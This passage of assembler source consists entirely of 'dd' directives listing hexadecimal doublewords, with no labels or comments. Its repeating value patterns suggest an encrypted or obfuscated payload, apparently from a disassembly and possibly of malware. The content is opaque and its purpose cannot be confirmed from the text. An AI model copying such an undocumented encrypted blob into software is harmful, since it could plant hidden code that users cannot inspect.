		dd 136181FFh, 98F2C7Eh,	0A099FBE8h, 136114AFh, 2C050DBFh
		dd 0C5994235h, 0E1B8A7BBh, 90A0173Fh, 136181FFh, 0CBA82C7Eh
		dd 0A099FF46h, 136114AFh, 2C050DBFh, 0C5994235h, 0E184A7BBh
		dd 90A0173Fh, 136181FFh, 97592C7Eh, 0A09995B3h,	136114AFh
		dd 2C050DBFh, 0C5994235h, 0E180A7BBh, 90A0173Fh, 136181FFh
		dd 557E2C7Eh, 0A099911Dh, 136114AFh, 2C050DBFh,	0C5994235h
		dd 0E180A7BBh, 90A0173Fh, 136181FFh, 13722C74h,	0A09998ECh
		dd 136114AFh, 2C050DBFh, 0C5994235h, 0E188A7BBh, 90A0173Fh
		dd 136181FFh, 51C2C75h,	0A099A3EEh, 136114AFh, 2C050DBFh
		dd 0C5994235h, 0E190A7BBh, 90A0173Fh, 136181FFh, 9BCA2C75h
		dd 0A099CDB5h, 136114AFh, 2C050DBFh, 0C5994235h, 0E19CA7BBh
		dd 90A0173Fh, 136181FFh, 0B2B42C75h, 0A099F6A8h, 136114AFh
		dd 2C050DBFh, 0C5994235h, 0E198A7BBh, 90A0173Fh, 136181FFh
		dd 2C622C75h, 0A09998F3h, 136114AFh, 2C050DBFh,	0C5994235h
		dd 0E064A7BBh, 0A8E5173Fh, 13619723h, 0D3463132h, 126FEFB7h
		dd 720E5634h, 0EA86FA1Fh, 1263D987h, 76E3AF34h,	0EA60160Bh
		dd 13E301E2h, 0D36049C7h, 126FEFB7h, 0A40E5634h, 0EAE8A181h
		dd 1263D987h, 76E3AF34h, 0EA60160Bh, 1FE301E2h,	0D36049C7h
		dd 126FEFB7h, 0B20E5234h, 0EAA6FE78h, 1263D987h, 76E3AF34h
		dd 0EA60160Bh, 1BE301E2h, 0D36049C7h, 126FEFB7h, 0FE0E5D34h
		dd 0EA9DEE5Eh, 1276C187h, 76E3AF34h, 0EA60160Bh, 0B7E301E2h
		dd 0D36049C7h, 126FEFB7h, 400E5534h, 0EADDFBBCh, 1263D987h
		dd 76E3AF34h, 0EA60160Bh, 7E301E2h, 0D36049C7h,	126FEFB7h
		dd 0E90E5234h, 0EADA065Ch, 1263D987h, 76E3AF34h, 0EA60160Bh
		dd 3E301E2h, 0D36049C7h, 126FEFB7h, 0BF0E4234h,	0EAA0980Ch
		dd 1263D987h, 76E3AF34h, 0EA60160Bh, 0FE301E2h,	966049C7h
		dd 12651B8Fh, 91691134h, 156688D2h, 1CABC1F4h, 7D202435h
		dd 0EFF0DF03h, 10FB3DCDh, 90EB4235h, 13611B51h,	90EFC1CDh
		dd 136B7D44h, 1CABC1F4h, 7D202435h, 0E9C12BE4h,	10FB3DCDh
		dd 90EB4235h, 13611B51h, 90EFC1CDh, 136B7DB4h, 1CABC1F4h
		dd 7D202435h, 879AB532h, 10FB3DCDh, 90EB4235h, 13611B51h
		dd 90EFC1CDh, 136B7DB8h, 1CABC1F4h, 7D202435h, 0E3B25E58h
		dd 10FB3DCDh, 90EB4235h, 13611B51h, 90EFC1CDh, 136B7DBCh
		dd 1CABC1F4h, 7D202435h, 81AB41D5h, 10FB3DCDh, 90EB4235h
		dd 13611B51h, 90EFC1CDh, 136B7D48h, 1CABC1F4h, 7D202435h
		dd 0A4446509h, 10FB3DCDh, 90EB4235h, 13611B51h,	90EFC1CDh
		dd 136B7D4Ch, 1CABC1F4h, 7D202435h, 0CA1FFBDFh,	10FB3DCDh
		dd 90EB4235h, 13611B51h, 90EFC1CDh, 136B7DB0h, 0A77F9B1h
		dd 60662435h, 0D8E3D712h, 46608F3Bh, 0AB861A5Ah, 88D3DDFCh
		dd 98601637h, 125FEBB7h, 9CB6BB34h, 18933CB7h, 0D8E3D734h
		dd 52608F3Bh, 0A438C35Ah, 88D3DDF5h, 98601637h,	125FEBB7h
		dd 9CB6BB34h, 189300B7h, 4DB9234h, 15608F2Dh, 90A06447h
		dd 13612BFFh, 6B637975h, 0A0996E50h, 136141AFh,	2C05A7BFh
		dd 0C5991735h, 0E0400DBBh, 90A0423Fh, 13612BFFh, 1C907971h
		dd 0A0991A48h, 136141AFh, 2C05A7BFh, 0C5991735h, 0E04C0DBBh
		dd 90A0423Fh, 13612BFFh, 82467971h, 0A0997413h,	136141AFh
		dd 2C05A7BFh, 0C5991735h, 0E0480DBBh, 0A8E5423Fh, 13613D23h
		dd 0D3266432h, 126F45B7h, 160E0734h, 0EAED229Ah, 12638C87h
		dd 76E30534h, 0EA60430Bh, 23E3ABE2h, 0D3601CC7h, 126F45B7h
		dd 0C00E0734h, 0EA837904h, 12638C87h, 76E30534h, 0EA60430Bh
		dd 27E3ABE2h, 0D3601CC7h, 126F45B7h, 0F40E0734h, 0EA8C8800h
		dd 12638C87h, 76E30534h, 0EA60430Bh, 2FE3ABE2h,	0D3601CC7h
		dd 126F45B7h, 220E0734h, 0EAE2D39Eh, 12638C87h,	76E30534h
		dd 0EA60430Bh, 2BE3ABE2h, 0D3601CC7h, 126F45B7h, 0C10E0B34h
		dd 0EAF117A2h, 12638C87h, 76E30534h, 0EA60430Bh, 57E3ABE2h
		dd 0D3601CC7h, 126F45B7h, 170E0B34h, 0EA9F4C3Ch, 12638C87h
		dd 76E30534h, 0EA60430Bh, 53E3ABE2h, 0D3601CC7h, 126F45B7h
		dd 5C0E0934h, 0EAAE154Bh, 12638C87h, 76E30534h,	0EA60430Bh
		dd 5BE3ABE2h, 0D3601CC7h, 126F45B7h, 9C0E0934h,	0EABAD57Fh
		dd 12638C87h, 76E30534h, 0EA60430Bh, 5FE3ABE2h,	0D3601CC7h
		dd 126F45B7h, 220E1134h, 0EAFA391Fh, 12638C87h,	76E30534h
		dd 0EA60430Bh, 47E3ABE2h, 0D3601CC7h, 126F45B7h, 3F0E0734h
		dd 0EAB4F7C2h, 12638C87h, 76E30534h, 0EA60430Bh, 43E3ABE2h
		dd 0D3601CC7h, 126F45B7h, 0FF0E1634h, 0EA9B6086h, 12638C87h
		dd 76E30534h, 0EA60430Bh, 0B8E3ABE2h, 0D3601638h, 126F45B7h
		dd 8C0E0334h, 0EA84BA6Bh, 12638C87h, 76E30534h,	0EA60430Bh
		dd 4FE3ABE2h, 0D3601CC7h, 126F45B7h, 0D70E0334h, 0EAD7DF52h
		dd 12638C87h, 76E30534h, 0EA60430Bh, 4BE3ABE2h,	0D3601CC7h
		dd 126F45B7h, 10E0334h,	0EAB984CCh, 12638C87h, 76E30534h
		dd 0EA60430Bh
		dd 77E3ABE2h, 0D3601CC7h, 126F45B7h, 7D0E1B34h,	0EAF872C0h
		dd 12638C87h, 76E30534h, 0EA60430Bh, 73E3ABE2h,	0D3601CC7h
		dd 126F45B7h, 2A0E0B34h, 0EAA1DE49h, 12638C87h,	76E30534h
		dd 0EA60430Bh, 87E3ABE2h, 0D3601CC7h, 126F45B7h, 590E0334h
		dd 0EA9C795Ch, 12638C87h, 76E30534h, 0EA60430Bh, 83E3ABE2h
		dd 0D3601CC7h, 126F45B7h, 0D80E0334h, 0EAA52416h, 12638C87h
		dd 76E30534h, 0EA60430Bh, 8FE3ABE2h, 0D3601CC7h, 126F45B7h
		dd 0D90E1B34h, 0EAB29952h, 12638C87h, 76E30534h, 0EA60430Bh
		dd 7FE3ABE2h, 0D3601CC7h, 126F45B7h, 5B0E1B34h,	0EAF8CB66h
		dd 12638C87h, 76E30534h, 0EA60430Bh, 7BE3ABE2h,	0D3601CC7h
		dd 126F45B7h, 5D0E1B34h, 0EAB7311Ah, 12638C87h,	76E30534h
		dd 0EA60430Bh, 67E3ABE2h, 7F601CC7h, 566E036h, 150E4432h
		dd 7F662222h, 24F3EE32h, 9C608F37h, 1274E9B7h, 24E3AF34h
		dd 0EA601CEFh, 7D62E2E2h, 15665432h, 1546225Ah,	0EA667B32h
		dd 1263B9A7h, 0C8E3CD34h, 9C602520h, 12611CB7h,	7D26E234h
		dd 15665432h, 1466225Ah, 0EA667B32h, 1263B9A7h,	0B8E3CD34h
		dd 9E60251Ah, 1246E487h, 54FB0334h, 9C604332h, 12779387h
		dd 50FB9834h, 9E608F3Fh, 126605AFh, 966DA934h, 916911CBh
		dd 156682EDh, 26061562h, 0CE3ABF2h, 0AB601601h,	1566880Eh
		dd 35423031h, 51658F54h, 65ED3116h, 31128B4Ah, 0D18CF12h
		dd 15479FBBh, 0EAE31735h, 156C0D3Dh, 1B8E4432h,	0FC662223h
		dd 156611A3h, 7EB10363h, 80EF40E0h, 13613FAFh, 150E1558h
		dd 47668822h, 80994458h, 13612703h, 382B94BBh, 0C5ED8E35h
		dd 5B9AC6Bh, 0B8302232h, 31425531h, 42B903A5h, 1AC88400h
		dd 0EA99DBB7h, 0EE4D4FCDh, 9EB10360h, 1274E98Fh, 0EAAFA134h
		dd 13ECD101h, 9E204900h, 0FCA7C336h, 5FAE113Ah,	0EA8C943Dh
		dd 0D4ED77CDh, 9C3C94C5h, 11A4A130h, 0CE3EE60h,	9E608F01h
		dd 12555DA7h, 34F31B34h, 1A601632h, 156682B6h, 96381E32h
		dd 8E8F26F4h, 4F99EECDh, 4D3FE96Ch, 13ABC1F5h, 15662435h
		dd 90A11132h, 13618DA7h, 15664432h, 0E1BC9FB1h,	1A66173Fh
		dd 156680B6h, 0F9FBC932h, 0EA602F6Bh, 88E3EEE1h, 96608F23h
		dd 1277D98Fh, 97694634h, 15661150h, 4FB0DF5h, 15674235h
		dd 98062232h, 1893A387h, 8DB0534h, 3E604A20h, 9EB1A9CCh
		dd 1274BC8Fh, 0EAAF0B34h, 13EC8401h, 9E20E300h,	0FCA79636h
		dd 5FAEBB3Ah, 0EA8CC13Dh, 0D4EDDDCDh, 905FC1C5h, 13618333h
		dd 1571C03Dh, 0A8E52232h, 13612207h, 1FE38732h,	0D2664432h
		dd 1268C3B7h, 15661034h, 0F8DFE932h, 0AF417EF0h, 160DE515h
		dd 0A4D3989Fh, 0D2608F23h, 1566B874h, 0FB5B2232h, 1A88FFDCh
		dd 1566A8B7h, 0C858C532h, 1ABBFFEFh, 156605B7h,	15604F32h
		dd 96664432h, 0A0EF26F4h, 13610083h, 156E71DBh,	26BECF32h
		dd 1268C3B7h, 16AED034h, 0D5A74A19h, 9CA77722h,	1268C3AFh
		dd 15662C34h, 96698833h, 15664477h, 0AEDD1CB3h,	9069AA89h
		dd 1566880Bh, 156642F5h, 0D3E52232h, 0A4D39836h, 9E608F23h
		dd 126605AFh, 9E6DA934h, 0D7ED71E2h, 1F570D19h,	0F5A74235h
		dd 30E32130h, 83601612h, 9CA78B9Fh, 747A6076h, 15665EDBh
		dd 26344032h, 58F303FBh, 2E60431Fh, 2DE22D30h, 96661132h
		dd 2E278CF0h, 126665BFh, 0FDE32D34h, 9899EECDh,	18921F87h
		dd 0B8DBC934h, 0B9602511h, 9169D1B6h, 15668834h, 0EA97AD98h
		dd 15DEDDCDh, 98661132h, 122D13BFh, 9C87BB34h, 12553BBFh
		dd 433F4B34h, 152715B9h, 1EED4235h, 267FA7B9h, 0F5B71735h
		dd 36270D31h, 0E3554235h, 0D4CB44A4h, 906513D2h, 1361A817h
		dd 0D465E9A4h, 60DBA16Ch, 1460161Eh, 155F0C3Dh,	985D4432h
		dd 136127AFh, 154B953Dh, 985D8832h, 136154B7h, 1547A63Dh
		dd 985D1132h, 1361A1D7h, 1573C03Dh, 88EB2232h, 136818C7h
		dd 0EDED5BCDh, 3D43C1BBh, 0A18F2435h, 98661134h, 1B6F7DAFh
		dd 96B5BB34h, 124A578Fh, 91691134h, 1566882Fh, 188FC109h
		dd 91692435h, 1566113Eh, 19AF0D09h, 90694235h, 15662237h
		dd 0EA99A8DBh, 0A8E3B3CDh, 1A60433Bh, 15663AB7h, 0A8DB9232h
		dd 15608F2Bh, 156DC13Dh, 90EB2232h, 136BA89Eh, 0EA991DDBh
		dd 0A8E37FCDh, 1A60253Bh, 0EA9998B6h, 86DB0BCDh, 146049C6h
		dd 1571A73Dh, 905D1132h, 136B7CC0h, 156DC13Dh, 90EB2232h
		dd 153EF792h, 0EA99E5DBh, 969977CDh, 1244978Fh,	91691134h
		dd 15668B55h, 0E1B8C109h, 1213243Fh, 0E5794B9h,	2E218E35h
		dd 1892A2B7h, 9E615734h, 127BA8B7h, 905DCF34h, 136BB0D0h
		dd 90ED2547h, 13611107h, 0FFE3B375h, 606049C6h,	24E3A935h
		dd 52601602h, 0E1880D09h, 1213423Fh, 174BA7B9h,	2E211735h
		dd 18927AB7h, 9E613134h, 1245B7B7h, 905D5634h, 136B7CC4h
		dd 90ED4347h, 13612BD7h, 0EFE32A75h, 606085C6h,	7CE3CF35h
		dd 5260252Ah, 0E1989409h, 12138E3Fh, 1F6BC1B9h,	2E212435h
		dd 189313B7h, 9E61FD34h, 124E91B7h, 905D6534h, 136BE438h
		dd 90ED8F47h, 13616D53h, 13E31975h, 60601CC7h, 4DB0B22h
		dd 1560432Dh, 90ED2547h, 13611787h, 18DB0B75h, 15604311h
		dd 905D2D46h, 136BE4A0h, 90ED8F47h, 13615467h, 2CDBA175h
		dd 15601631h, 0A8E5FA46h, 13616CDBh, 2E0F5632h,	189367B7h
		dd 9E61FD34h, 126845B7h, 905D6534h, 136BE4B4h, 90ED8F47h
		dd 13616793h, 6FE31975h, 60601CC7h, 0C4E30335h,	52604313h
		dd 0E0ECA709h, 1213173Fh, 33270DB9h, 2E214235h,	1893ACB7h
		dd 9E616434h, 12749DB7h, 905D0334h, 136BD74Ch, 90ED1647h
		dd 1361A11Bh, 97E37F75h, 60602FC7h, 9CE39A35h, 52608F23h
		dd 3D8FF9B1h, 1A662435h, 15641BB6h, 1BE3B332h, 606049C7h
		dd 0CCE3A935h, 5260163Dh, 0E0C40D09h, 1213423Fh, 3F6BA7B9h
		dd 2E211735h, 18939AB7h, 9E613134h, 124E0FB7h, 905D5634h
		dd 136B7D24h, 90ED4347h, 136120BFh, 0FE32A75h, 606085C7h
		dd 34E3CF35h, 5260251Bh, 0E0789409h, 5138E3Fh, 0A77F9B1h
		dd 60662435h, 0E8E39A35h, 52608F1Ch, 0E044C109h, 1213243Fh
		dd 4A794B9h, 2E218E35h,	189362B7h, 96765734h, 1279008Fh
		dd 12138834h, 0F6FC1B9h, 2E212435h, 18933BB7h, 9E61FD34h
		dd 124019B7h, 905D6534h, 136BE41Ch, 90ED8F47h, 1361675Bh
		dd 23E31975h, 60601CC7h, 4DB0B22h, 1560432Dh, 90ED2547h
		dd 13610173h, 27E3B375h, 606049C7h, 4DBA122h, 1560162Dh
		dd 90ED8F47h, 136149BFh, 2FE31975h, 60601CC7h, 38E30335h
		dd 5260433Ah, 0E058A709h, 1213173Fh, 309F0DB9h,	2E214235h
		dd 189360B7h, 9E616434h, 1244C5B7h, 905D0334h, 136BD774h
		dd 90ED1647h, 13618C07h, 5FE37F75h, 60602FC7h, 0ACE39A35h
		dd 52608F30h, 0E028C109h, 1213243Fh, 253794B9h,	2E218E35h
		dd 189316B7h, 9E615734h, 124974B7h, 905DCF34h, 136BB164h
		dd 90ED2547h, 13611D9Fh, 0B8E3B375h, 60604338h,	7CE3A935h
		dd 52601635h, 0E03C0D09h, 1213423Fh, 175BA7B9h,	2E211735h
		dd 18931EB7h, 967F3134h, 1893BC8Fh, 1C131134h, 391335B1h
		dd 61664235h, 8E3A935h,	5260163Ch, 0E0FC0D09h, 0C13423Fh
		dd 0E0F89FB1h, 6066173Fh, 60DB0B3Bh, 1560431Eh,	90ED2546h
		dd 1361007Bh, 4BE3B375h, 606049C7h, 58E3A935h, 5260162Dh
		dd 0E0040D09h, 1213423Fh
		dd 17C7A7B9h, 2E211735h, 1893EEB7h, 9E613134h, 1275C7B7h
		dd 905D5634h, 136B7D58h, 90ED4347h, 13612F0Bh, 7BE32A75h
		dd 606085C7h, 78E3CF35h, 52602539h, 0E0149409h,	12138E3Fh
		dd 1ABFC1B9h, 1E212435h, 10E21ECDh, 0FC668832h,	0EA99BFD8h
		dd 1BF3A709h, 90691735h, 15668839h, 835AC1BFh, 0C68F243Fh
		dd 2E99EEC9h, 124FF9B7h, 0DE34B34h, 96662232h, 1892828Fh
		dd 90698934h, 15664439h, 0F345A7BFh, 0BA8F116Ah, 2E9977C9h
		dd 18928AB7h, 19E22D34h, 2E661132h, 18925AB7h, 10E34B34h
		dd 0FC662232h, 0EA99EAA0h, 1566888Ch, 1498C732h, 1523A73Dh
		dd 905D1132h, 136B7CF0h, 156DC13Dh, 90EB2232h, 153E73D6h
		dd 0EA9DE5DBh, 0D3E37FCDh, 1A602FC6h, 15661AB7h, 4FE30532h
		dd 0FC661C51h, 0EA99D964h, 0E1AC9409h, 90698E3Fh, 15664439h
		dd 76F9A7BFh, 2A8F116Ah, 9E9977C9h, 1567FAF2h, 0E36D2232h
		dd 1563943Dh, 368F8832h, 9E99BBC9h, 38D3ABC2h, 9C60162Ch
		dd 124A0D87h, 0FC58C434h, 1540A73Dh, 6BED1132h,	9E988B33h
		dd 15A5C5ECh, 2E662272h, 12783C8Fh, 1DE48734h, 2E664432h
		dd 10E02DC9h, 0FC661132h, 0EA9972D4h, 7BBF9B9h,	90A12435h
		dd 1361327Fh, 15668832h, 90D3CD52h, 9860251Eh, 1B69C7AFh
		dd 1AB57734h, 156666B0h, 0A8FBAF32h, 0EA601D8Ch, 0CBE587E1h
		dd 9E99BBCDh, 124AA787h, 58D39834h, 98608F11h, 183FD0AFh
		dd 9EB5DD34h, 12783CB7h, 90E30134h, 7460431Eh, 1959BFBFh
		dd 0C699173Ch, 1A4115BFh, 0C699423Ch, 156AA13Dh, 90E51132h
		dd 1361A4B7h, 0EAB8AD37h, 88EBDDCDh, 13681E62h,	96695BCDh
		dd 1566443Ah, 0FC62E0B1h, 15661100h, 0ABDB15BFh, 0C699423Eh
		dd 156DA13Dh, 0A0ED1132h, 1361A4B7h, 1561C4DBh,	90EBA932h
		dd 9C60161Eh, 124A0D87h, 0E2A86F34h, 0E69709EBh, 0EAF0F896h
		dd 88EB77CDh, 136B1DDEh, 0D2EDF1CDh, 7BB9419h, 90EF8E35h
		dd 1361650Fh, 7BBA7B9h,	45311735h, 4F0705BFh, 0C499423Fh
		dd 3DCBA7B9h, 42361735h, 7BB0DB9h, 98364235h, 183CB2BFh
		dd 9EB7EE34h, 3EAE03E2h, 124EE9BFh, 1CDBA134h, 1560163Fh
		dd 154D0C3Dh, 90ED4432h, 13612567h, 186F9419h, 0D45D8E35h
		dd 1571C23Dh, 90ED2232h, 13611AFFh, 186F0D31h, 90EF4235h
		dd 13610A17h, 156652DBh, 0D4EDD932h, 1A99497Ah,	9C262232h
		dd 126144B7h, 30E38934h, 0D2604329h, 126B2BB7h,	15661134h
		dd 7D26E232h, 15665432h, 0EA664863h, 126320A7h,	48F37734h
		dd 9C604323h, 126DEFB7h, 30E39834h, 4C608F1Ah, 3D43F1CDh
		dd 0A0992435h, 1361399Fh, 0C8D37765h, 98604320h, 183900B7h
		dd 14B6EE34h, 126B81BFh, 30DBCF34h, 9E60251Ah, 124EBC87h
		dd 9EC27B34h, 1277F587h, 53A18F34h, 156611CEh, 10A64932h
		dd 2FA4A937h, 0CE32115h, 9E601611h, 124EADBFh, 0B86ECD34h
		dd 159A64F5h, 9C661132h, 12773987h, 0EA9EC734h,	1546A73Dh
		dd 2BE71132h, 0C8BB55EFh, 1572C13Dh, 13A12232h,	15661132h
		dd 9C624EB1h, 1277F587h, 0E380CB34h, 0D5A7EECDh, 0CE38B31h
		dd 96604311h, 1266AF8Fh, 91691034h, 156688AFh, 0BFCC7AB3h
		dd 90698898h, 15661120h, 0D2624EB1h, 1566B874h,	0A5F12232h
		dd 1565F8DBh, 0A5F18832h, 0A8E514DAh, 13610E47h, 2BE21E33h
		dd 0AD668832h, 15664532h, 0E1BC9FB1h, 1A66173Fh, 156680B6h
		dd 76FBC932h, 0EA602F50h, 855991E1h, 156E0C3Dh,	0D2E54432h
		dd 1525CB37h, 0EDE51132h, 1FE48762h, 0A5664432h, 0BF3E88A2h
		dd 156635DBh, 95CCD032h, 1A8FBB4Dh, 15663AB7h, 0CFDB9232h
		dd 156085C6h, 156EC03Dh, 88EB2232h, 136B7301h, 52EE5BCDh
		dd 30E3CF36h, 3E60251Ah, 118E92F5h, 53A12599h, 156644CEh
		dd 0EA77CB32h, 0A0EFEECDh, 13619983h, 95662C60h, 150C2232h
		dd 382BA4CDh, 80998E35h, 13616FD7h, 54EBA968h, 0D2601632h
		dd 15668833h, 11A7C732h, 1527AFBBh, 58F1735h, 0FC9977C7h
		dd 15664296h, 54EBA952h, 9E601632h, 0C3EB013Bh,	946049C6h
		dd 51326C0Ah, 9E31E7Eh,	73668832h, 59623CB3h, 5E32D1Ch
		dd 9E661132h, 13A00BC2h, 0A9BC1B9h, 138F2435h, 9E661133h
		dd 26B603C2h, 155AE8FBh, 153BA63Dh, 385A1132h, 0EA890C3Dh
		dd 3B5ABBCDh, 155BA63Dh, 255A1132h, 14660A3Dh, 2C5A4432h
		dd 0EAB1A43Dh, 545AEECDh, 15960A3Dh, 4F5A4432h,	0EAA1A43Dh
		dd 4A5AEECDh, 0EAD90C3Dh, 745ABBCDh, 15BEA03Dh,	6F5A1132h
		dd 0EAC90E3Dh, 0DE8FBBCDh, 57662232h, 9169C709h, 156688F0h
		dd 8F8F0578h, 9099DDCDh, 0A6E21EFBh, 98668832h,	1261DD87h
		dd 9EACA934h, 0BB48A1C8h, 0EA9F0D3Dh, 0DA4DBBCDh, 0EC4DFBC5h
		dd 0B195E6B5h, 1599CFF4h, 12FFD1BFh, 90ED2435h,	136115DFh
		dd 906948B7h, 15664428h, 1CABA7F4h, 7D211735h, 0C1FC2FE0h
		dd 18FFF1CDh, 90EB2435h, 136C610Ah, 0EA3458CDh,	1AA6C1E2h
		dd 15661AB7h, 0E39A32h,	90608F3Dh, 0FE34BF2h, 0D3662232h
		dd 126FDCB7h, 0FC0EC434h, 0EABF9E2Eh, 126BBB87h, 2DE39C34h
		dd 0EA608242h, 0C59916E2h, 9069E2B7h, 15661137h, 1566A9DBh
		dd 0C3E3CD32h, 45602FC6h, 63E39C64h, 0EA608258h, 1AA64FE2h
		dd 156627B7h, 1562F832h, 51EF8832h, 0D6075816h,	0C3EBA952h
		dd 45601CC6h, 556549B9h, 9DF6CF0Eh, 9C662232h, 126A18A7h
		dd 159E8D34h, 45ED4432h, 0D0F3AB3Eh, 4D60161Bh,	3142CCB9h
		dd 905D8519h, 13610BF7h, 1576933Dh, 905D8832h, 1361483Bh
		dd 1562A13Dh, 0D7071132h, 0D2078836h, 15666036h, 51A12232h
		dd 15661516h, 10DE8832h, 98664432h, 122DB9BFh, 7587EE34h
		dd 0FC5A8EB8h, 1558C03Dh, 0FD5A2232h, 1524953Dh, 1A5A8832h
		dd 1574C03Dh, 0D85A2232h, 1559953Dh, 0FE5A8832h, 152FC03Dh
		dd 0D6072232h, 95674FB8h, 0EEE678D1h, 0FAE34BB2h, 9E99DDCDh
		dd 13A592ECh, 0FC64D631h, 15664426h, 96677CB9h,	9169EAC9h
		dd 1566881Bh, 4B659AB9h, 10A5A133h, 0EA99D8DBh,	4BD087CDh
		dd 3B8DC733h, 0EADAA63Dh, 1F8FEECDh, 95668832h,	1A98454Ch
		dd 0EA998FB7h, 0EA06F8CDh, 443077CDh, 0D5551361h, 95BEA89Eh
		dd 0EEE6E1D1h, 0F9E28742h, 29664432h, 30E22D3Dh, 29661132h
		dd 91E287DBh, 29664433h, 0E22DD9h, 29661130h, 64E287D1h
		dd 29664432h, 56E22DD0h, 4A661130h, 0D638D169h,	0E0C0C1F5h
		dd 1560243Fh, 0BEC1132h, 95966BB2h, 9069C4C9h, 0EA99DDD1h
		dd 38E39A7Ch, 9E608F2Ch, 124509A7h, 96B8A934h, 4B6517F1h
		dd 1ABEB330h, 15664CB0h, 1ABC1932h, 0EA99AFB4h,	96B9A3CDh
		dd 0B80042D9h, 0BEF58954h, 9C62D7B1h, 61EFAC0Eh, 0A0EF4816h
		dd 13610EB7h, 4B3F4A6Dh, 0FC624CB1h, 0EA99BE52h, 0E0C0A7F5h
		dd 1564173Fh, 0CBED8832h, 9568F23Dh, 9669A2CBh,	1566113Ah
		dd 0FC255131h, 1566443Fh, 0E299CBB2h, 0EA8790EBh, 3E668832h
		dd 38E3CFEBh, 9E60252Ch, 12455CA7h, 0D8DB0B34h,	14604334h
		dd 15C5A63Dh, 0CD5D1132h, 15FD0A3Dh, 0CF5D4432h, 0EA27A03Dh
		dd 9B8FEECDh, 0D2668832h, 1893E2B7h, 15662034h,	1AB89A32h
		dd 0ECE68684h, 1DE54BB2h, 16662232h, 188F52EBh,	95668832h
		dd 0CC91BBDBh, 1599C3B3h, 0CC4D1132h, 0B4B0DB9h, 80ED4235h
		dd 1361017Fh, 13ABACB1h, 1A678E35h, 15660CB6h, 1ABE1932h
		dd 156619B0h, 1ABCB332h, 0EA98A2B4h, 1AD66CCDh,	0A5689B98h
		dd 1A8708B2h, 3ECC8538h
		dd 118DA1EDh, 0D3E5BAA1h, 90D30130h, 0D260431Eh, 1260EFB7h
		dd 15661034h, 11A20B32h, 0D1E51D69h, 11A2A136h,	0EA9F66DBh
		dd 0FCD6C6CDh, 3EA0CF98h, 118EA1F5h, 11A29299h,	9638D169h
		dd 0D28F40F6h, 0D299DDCBh, 1893B7B7h, 15668D34h, 96B8CF32h
		dd 0B6526F1h, 0B4B94B9h, 80ED8E35h, 1361677Fh, 80DBA17Ch
		dd 14601637h, 14650C3Dh, 0CD5D4432h, 156EA03Dh,	0CF5D1132h
		dd 154D0E3Dh, 0A0EF4432h, 13610EB7h, 0E0C08CB9h, 49678E3Fh
		dd 0CB8F4816h, 4A662232h, 10F394F5h, 15678E35h,	4C3D4432h
		dd 11A2A16Ch, 0EA9EE6DBh, 0D8DB0BCDh, 14604334h, 15DDA63Dh
		dd 884D1132h, 1361961Fh, 7BBC9B9h, 0DE652435h, 0FCE5DE19h
		dd 0BF8F3837h, 0D1E5EFA3h, 4B3F7936h, 0FC62D5B1h, 0EA99711Ch
		dd 0E0C0C1F5h, 1564243Fh, 0CBED1132h, 95683E3Dh, 9669C4CBh
		dd 1566223Ah, 0FC25C831h, 1566883Fh, 0E299ADB2h, 0EA87A3EBh
		dd 3E661132h, 38E303EBh, 9E60432Ch, 12456FA7h, 0EA20F834h
		dd 90A177CDh, 136BB194h, 15662230h, 0A369CFB9h,	959F083Ch
		dd 156EC73Dh, 0CC652232h, 156BF871h, 0FCE68832h, 94BFB3CDh
		dd 1566DDD3h, 9EBF3A32h, 1278A5B7h, 58F3CF34h, 96602511h
		dd 1260DC8Fh, 91698934h, 0EA99BAFBh, 9769FA09h,	1566113Ah
		dd 93695209h, 0EA99B955h, 3EA8A97Ch, 108F92FDh,	84CC6182h
		dd 0EDEEAD99h, 13ECDDCDh, 9169F90Eh, 15668834h,	157EADCAh
		dd 9E352232h, 143812ECh, 0A5634BB1h, 0CA4DEEDAh, 8662C9B1h
		dd 0D3E54A99h, 44A57137h, 2960CF54h, 55E22DF1h,	29661132h
		dd 2DE287F9h, 29664432h, 2DE22DF0h, 29661132h, 25E287F8h
		dd 73664432h, 1A43DD0Fh, 156621B6h, 3B5BEE32h, 18E34BCDh
		dd 9F662232h, 0E5421374h, 9169280Eh, 15664411h,	2C8FDA6Bh
		dd 26661132h, 0C8FC9FBh, 0AC664432h, 15662231h,	15661EDBh
		dd 15603132h, 108F4432h, 0AC662232h, 15661135h,	98ED2CC1h
		dd 1361677Fh, 9069EBB7h, 15661134h, 362B3DBBh, 0EC3F4235h
		dd 13ED44F1h, 9169D20Eh, 15668857h, 0F6E69CB8h,	659DA2C2h
		dd 15FA953Dh, 0FC5A8832h, 1529C03Dh, 0FE5A2232h, 1521953Dh
		dd 0D75A8832h, 1559C03Dh, 0DE5A2232h, 1551953Dh, 28008832h
		dd 916961CDh, 1566221Fh, 9169DB0Eh, 15668817h, 9169A70Eh
		dd 15662250h, 0EA482C54h, 156B0D3Dh, 53EC4432h,	29960630h
		dd 13E21E92h, 0ED668832h, 15664BDBh, 58D3AB32h,	98601611h
		dd 183F1CAFh, 0ECB5BB34h, 53ED72F1h, 24E39822h,	4D608F38h
		dd 987A82B1h, 1246078Fh, 5165BC34h, 98CDAC16h, 124D2D8Fh
		dd 51658F34h, 0BE363516h, 362735BFh, 16CB4235h,	0BE4E0676h
		dd 9830D26Ch, 183FE5AFh, 0FCB5BB34h, 0FFFFFF95h, 0D24ECEDFh
		dd 0FD4AA86Ch, 51A2458Ah, 2EC0D5F2h, 96A44868h,	152AA8EDh
		dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah
		dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch
		dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah
		dd 60D554A8h, 59D7BA86h, 0C85ACE25h, 0DCF14387h, 18F41332h
		dd 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 0D138C882h
		dd 462C5975h, 8FE5DF07h, 0C6D552A5h, 0B85E0003h, 0E9835492h
		dd 8BA4F305h, 0BA31E4CBh, 565DB1DAh, 0BC2FEB32h, 505AD0FBh
		dd 89113C52h, 0DDD3BC67h, 5163B977h, 0DF79F4B9h, 1331B575h
		dd 5A1A3822h, 0DFBAF4B9h, 9F36A175h, 36ABA1F0h,	5F1834F4h
		dd 5E98335h, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh,	77642017h
		dd 3FD525FBh, 3AADFDF5h, 2291782Ah, 7ACFB734h, 29B723ACh
		dd 7A1A20ADh, 277975FDh, 0A2CA987Ch, 0FFA073F0h, 7C22A33Ah
